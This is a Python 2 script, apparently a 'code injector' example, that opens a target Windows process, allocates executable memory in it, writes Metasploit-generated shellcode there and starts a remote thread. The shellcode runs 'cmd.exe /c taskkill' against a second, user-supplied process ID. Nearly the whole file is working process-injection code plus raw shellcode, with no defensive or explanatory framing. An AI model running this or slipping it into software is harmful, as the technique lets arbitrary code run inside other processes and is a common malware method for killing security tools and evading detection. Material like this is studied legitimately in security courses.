import sys
from ctypes import *
# We set the EXECUTE access mask so that our shellcode will
# execute in the memory block we have allocated
PAGE_EXECUTE_READWRITE = 0x00000040
PROCESS_ALL_ACCESS = ( 0x000F0000 | 0x00100000 | 0xFFF )
VIRTUAL_MEM = ( 0x1000 | 0x2000 )
kernel32 = windll.kernel32
pid = int(sys.argv[1])
pid_to_kill = sys.argv[2]
if not sys.argv[1] or not sys.argv[2]:
    print "Code Injector: ./code_injector.py <PID to inject> <PID to Kill>"
    sys.exit(0)
#/* win32_exec - EXITFUNC=thread CMD=cmd.exe /c taskkill /PID AAAA
#Size=159 Encoder=None http://metasploit.com */
shellcode = \
"\xfc\xe8\x44\x00\x00\x00\x8b\x45\x3c\x8b\x7c\x05\x78\x01\xef\x8b" \
"\x4f\x18\x8b\x5f\x20\x01\xeb\x49\x8b\x34\x8b\x01\xee\x31\xc0\x99" \
"\xac\x84\xc0\x74\x07\xc1\xca\x0d\x01\xc2\xeb\xf4\x3b\x54\x24\x04" \
"\x75\xe5\x8b\x5f\x24\x01\xeb\x66\x8b\x0c\x4b\x8b\x5f\x1c\x01\xeb" \
"\x8b\x1c\x8b\x01\xeb\x89\x5c\x24\x04\xc3\x31\xc0\x64\x8b\x40\x30" \
"\x85\xc0\x78\x0c\x8b\x40\x0c\x8b\x70\x1c\xad\x8b\x68\x08\xeb\x09" \
"\x8b\x80\xb0\x00\x00\x00\x8b\x68\x3c\x5f\x31\xf6\x60\x56\x89\xf8" \
"\x83\xc0\x7b\x50\x68\xef\xce\xe0\x60\x68\x98\xfe\x8a\x0e\x57\xff" \
"\xe7\x63\x6d\x64\x2e\x65\x78\x65\x20\x2f\x63\x20\x74\x61\x73\x6b" \
"\x6b\x69\x6c\x6c\x20\x2f\x50\x49\x44\x20\x41\x41\x41\x41\x00"

padding = 4 - (len( pid_to_kill ))
replace_value = pid_to_kill + ( "\x00" * padding )
replace_string= "\x41" * 4
shellcode = shellcode.replace( replace_string, replace_value )
code_size = len(shellcode)
# Get a handle to the process we are injecting into.
h_process = kernel32.OpenProcess( PROCESS_ALL_ACCESS, False, int(pid) )
if not h_process:
    print "[*] Couldn't acquire a handle to PID: %s" % pid
    sys.exit(0)

arg_address = kernel32.VirtualAllocEx(h_process, 0, code_size,VIRTUAL_MEM, PAGE_EXECUTE_READWRITE)
# Write out the shellcode
written = c_int(0)
kernel32.WriteProcessMemory(h_process, arg_address, shellcode,code_size, byref(written))
# Now we create the remote thread and point its entry routine
# to be head of our shellcode
thread_id = c_ulong(0)
if not kernel32.CreateRemoteThread(h_process,None,0,arg_address,None,0,byref(thread_id)):
    print "[*] Failed to inject process-killing shellcode. Exiting."
    sys.exit(0)
print "[*] Remote thread created with a thread ID of: 0x%08x" % thread_id.value
print "[*] Process %s should not be running anymore!" % pid_to_kill
